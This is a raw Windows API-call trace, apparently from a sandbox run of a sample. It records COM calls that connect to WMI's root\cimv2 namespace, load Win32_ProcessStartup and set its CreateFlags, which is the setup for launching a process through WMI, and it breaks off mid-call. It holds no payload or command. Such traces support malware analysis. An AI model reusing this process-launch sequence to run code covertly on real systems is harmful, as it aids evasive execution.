[0161.795] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0161.795] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0161.795] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0161.795] IUnknown:Release (This=0x1a943398) returned 0x1 [0161.797] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bbd8060) returned 0x0 [0161.797] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd8060, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0161.797] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd8060, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1aa0ac50) returned 0x0 [0161.797] WbemDefPath:IUnknown:Release (This=0x1bbd8060) returned 0x0 [0161.797] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ac50, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1aa0ac50) returned 0x0 [0161.797] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ac50, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0161.797] WbemDefPath:IUnknown:AddRef (This=0x1aa0ac50) returned 0x3 [0161.797] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ac50, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0161.797] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ac50, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0161.798] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ac50, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bbd83c0) returned 0x0 [0161.798] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd83c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0161.798] WbemDefPath:IUnknown:Release (This=0x1bbd83c0) returned 0x3 [0161.798] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0161.798] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0161.798] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ac50, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0161.798] WbemDefPath:IUnknown:Release (This=0x1aa0ac50) returned 0x2 [0161.798] WbemDefPath:IUnknown:Release (This=0x1aa0ac50) returned 0x1 [0161.798] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0161.798] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0161.798] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ac50, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1aa0ac50) returned 0x0 [0161.798] WbemDefPath:IUnknown:AddRef (This=0x1aa0ac50) returned 0x3 [0161.798] WbemDefPath:IUnknown:Release (This=0x1aa0ac50) returned 0x2 [0161.798] WbemDefPath:IWbemPath:SetText (This=0x1aa0ac50, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0161.798] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0ac50, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0161.798] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ac50, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0161.798] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ac50, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.798] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0161.798] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0161.798] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0161.799] IUnknown:Release (This=0x1a943398) returned 0x1 [0161.799] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bbd8000) returned 0x0 [0161.800] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8000, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0161.800] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bbd8000, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bbd8140) returned 0x0 [0161.800] WbemLocator:IUnknown:Release (This=0x1bbd8000) returned 0x0 [0161.800] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8140, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bbd8140) returned 0x0 [0161.800] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8140, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0161.800] WbemLocator:IUnknown:AddRef (This=0x1bbd8140) returned 0x3 [0161.800] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8140, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0161.800] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8140, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0161.800] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8140, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0161.800] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0161.800] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0161.800] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8140, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0161.801] WbemLocator:IUnknown:Release (This=0x1bbd8140) returned 0x2 [0161.801] WbemLocator:IUnknown:Release (This=0x1bbd8140) returned 0x1 [0161.801] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0161.801] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0161.801] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8140, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bbd8140) returned 0x0 [0161.801] WbemLocator:IUnknown:AddRef (This=0x1bbd8140) returned 0x3 [0161.801] WbemLocator:IUnknown:Release (This=0x1bbd8140) returned 0x2 [0161.801] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0ac50, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0161.801] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ac50, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0161.801] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ac50, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.801] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bbd83a0) returned 0x0 [0161.801] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bbd83a0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bb80e10) returned 0x0 [0161.971] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb80e10, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1bbde000) returned 0x0 [0161.971] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bbde000, pProxy=0x1bb80e10, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0161.971] WbemLocator:IUnknown:Release (This=0x1bbde000) returned 0x1 [0161.971] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb80e10, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1bbde040) returned 0x0 [0161.971] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb80e10, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1bbde000) returned 0x0 [0161.971] WbemLocator:IClientSecurity:SetBlanket (This=0x1bbde000, pProxy=0x1bb80e10, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0161.971] WbemLocator:IUnknown:Release (This=0x1bbde000) returned 0x2 [0161.972] WbemLocator:IUnknown:Release (This=0x1bbde040) returned 0x1 [0161.972] CoTaskMemFree (pv=0x1bc19f80) [0161.972] WbemLocator:IUnknown:AddRef (This=0x1bb80e10) returned 0x2 [0161.972] WbemLocator:IUnknown:Release (This=0x1bbd83a0) returned 0x0 [0161.972] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0161.972] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0161.972] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb80e10, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1bbde010) returned 0x0 [0161.973] WbemLocator:IRpcOptions:Query (in: This=0x1bbde010, pPrx=0x1bbd8020, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0161.973] WbemLocator:IUnknown:Release (This=0x1bbde010) returned 0x2 [0161.973] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0161.973] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0161.973] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb80e10, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bb80e10) returned 0x0 [0161.973] WbemLocator:IUnknown:Release (This=0x1bb80e10) returned 0x2 [0161.973] SysStringLen (param_1=0x0) returned 0x0 [0161.973] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0af50, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0161.973] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0af50, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0161.974] IWbemServices:GetObject (in: This=0x1bb80e10, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bb922c0, ppCallResult=0x0) returned 0x0 [0161.977] IWbemClassObject:Get (in: This=0x1bb922c0, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0161.977] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0161.977] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0161.977] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0161.977] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0161.977] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0161.977] IUnknown:Release (This=0x1a943398) returned 0x1 [0161.980] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bbd83a0) returned 0x0 [0161.980] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd83a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0161.980] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd83a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1aa0ae90) returned 0x0 [0161.982] WbemDefPath:IUnknown:Release (This=0x1bbd83a0) returned 0x0 [0161.982] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ae90, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1aa0ae90) returned 0x0 [0161.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ae90, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0161.983] WbemDefPath:IUnknown:AddRef (This=0x1aa0ae90) returned 0x3 [0161.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ae90, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0161.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ae90, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0161.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ae90, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bbd8da0) returned 0x0 [0161.983] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd8da0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0161.983] WbemDefPath:IUnknown:Release (This=0x1bbd8da0) returned 0x3 [0161.983] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0161.983] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0161.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ae90, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0161.983] WbemDefPath:IUnknown:Release (This=0x1aa0ae90) returned 0x2 [0161.984] WbemDefPath:IUnknown:Release (This=0x1aa0ae90) returned 0x1 [0161.984] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0161.984] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0161.984] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ae90, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1aa0ae90) returned 0x0 [0161.984] WbemDefPath:IUnknown:AddRef (This=0x1aa0ae90) returned 0x3 [0161.984] WbemDefPath:IUnknown:Release (This=0x1aa0ae90) returned 0x2 [0161.984] WbemDefPath:IWbemPath:SetText (This=0x1aa0ae90, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0161.984] IWbemClassObject:Get (in: This=0x1bb922c0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x278cf40*=0, plFlavor=0x278cf44*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x278cf40*=19, plFlavor=0x278cf44*=0) returned 0x0 [0161.984] IWbemClassObject:Get (in: This=0x1bb922c0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x278cf40*=19, plFlavor=0x278cf44*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x278cf40*=19, plFlavor=0x278cf44*=0) returned 0x0 [0161.984] IWbemClassObject:Put (This=0x1bb922c0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, 